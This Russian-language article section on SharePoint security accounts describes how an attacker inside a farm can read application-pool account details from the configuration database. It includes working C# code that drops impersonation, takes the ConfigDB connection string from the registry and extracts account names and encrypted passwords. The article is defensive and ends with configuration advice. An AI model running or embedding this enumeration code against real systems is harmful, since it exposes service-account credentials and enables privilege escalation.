Учетные записи безопасности SharePoint - Учетные записи безопасности в базе данных конфигурации

ОГЛАВЛЕНИЕ

Учетные записи безопасности в базе данных конфигурации

Если следовать правилу невыдачи учетным записям пула приложений административных прав или даже доступа на чтение к метабазе IIS на серверах SharePoint, код рис. 5 выдает лишь сообщение Access is denied («В доступе отказано»). Но информация по учетной записи безопасности также доступна в базе данных конфигурации, и у мистера Хайда, как объяснялось выше, есть доступ к этой записи.

Учетной записи безопасности SharePoint нельзя запретить доступ к базе данных конфигурации, равно как и доступ к ключу реестра, хранящему соответствующую строку подключения SQL Server. Строка подключения может не сработать немедленно в случае использования SQL Server 2005 Express, но верную информацию об источнике данных можно вывести из текущей коллекции веб-узлов SharePoint (SPContext.Current.Site.ContentDatabase.DatabaseConnectionString), а имя базы данных конфигурации соответствует имени локальной фермы (SPFarm.Local.Name).

Увы, эти мелкие препятствия не остановят атаку. Используется ли SQL Server или SQL Server Express, мистер Хайд может получить информацию, отображенную на рис. 6 и 6a. Однако обратите внимание на то, что пароль зашифрован, так что атака пока еще не удалась полностью.

 

Рис. 6. Получение информации об учетной записи безопасности от метабазы конфигурации

 Рис. 6а. Код для извлечения информации об учетной записи безопасности от метабазы конфигурации
private string EnumAppPoolAccounts()
{
    string retVal = string.Empty;
    try
    {
        WindowsImpersonationContext impCtx = WindowsIdentity.Impersonate(IntPtr.Zero);
        string regConfigDB = @"SOFTWARE\Microsoft\Shared Tools\Web Server Extensions\12.0\Secure\ConfigDB";
        RegistryKey keyConfigDB = Registry.LocalMachine.OpenSubKey(regConfigDB);
        string ConfigDB = (string)keyConfigDB.GetValue("dsn");
        SqlConnection sqlConn = new SqlConnection(ConfigDB);
        sqlConn.Open();
        SqlCommand sqlCmd = new SqlCommand("SELECT Name, Properties FROM Objects" + " WHERE ClassId = 'B8369089-08AD-4978-B1CB-C597B5E90F64'", sqlConn);
        sqlCmd.CommandType = System.Data.CommandType.Text;
        SqlDataReader sqlReader = sqlCmd.ExecuteReader();
        while (sqlReader.Read())
        {
            retVal += "<br>" + sqlReader.GetString(0);
            string appPoolXML = sqlReader.GetString(1);
            if (!string.IsNullOrEmpty(appPoolXML))
            {
                XmlDocument xmlDoc = new XmlDocument();
                xmlDoc.LoadXml(appPoolXML);
                XmlElement root = xmlDoc.DocumentElement;
                XmlNode ndType = root.SelectSingleNode("/object/fld[@name='m_IdentityType']");
                if (ndType != null && ndType.InnerText.ToLower() != "specificuser")
                {
                    retVal += " (" + ndType.InnerText + ")";
                }
                else
                {
                    retVal += " (" + root.SelectSingleNode("/object/sFld[@name='m_Username']").InnerText + " [Pwd: " + root.SelectSingleNode("/object/fld[@name='m_Password']").InnerText + "])";
                }
            }
        }
        sqlReader.Close();
        sqlConn.Close();
        impCtx.Undo();
    }
    catch (Exception ee)
    {
        retVal = ee.Message;
    }
    return retVal;
}

Но даже без расшифровки паролей пулы приложений, использующие одну и ту же учетную запись безопасности, уже можно распознать. Например, на рис. 6 пулы приложения SharePoint Central Administration v3 и SharePoint—80 используют учетную запись Network Service («Служба сети»), и, если безопасность SharePoint—80 SharePoint оказывается нарушена, то и безопасность Central Administration v3 нарушается тоже. Соответствующей учетной записью безопасности является учетная запись центрального администрирования, имеющая повышенные права на сервере SharePoint.

Ее не следует использовать для стандартных пулов веб-приложений, но мастер настройки продуктов и технологий SharePoint применяет эту конфигурацию по умолчанию в установках на один сервер. Таким образом, просмотр и, при необходимости, изменение конфигурации учетной записи в среде SharePoint очень важны. Дополнительные сведения по этой теме подробно изложены в статье базы знаний Майкрософт «Изменение учетных записей службы и паролей учетных записей службы в SharePoint Server 2007 и Windows SharePoint Services 3.0».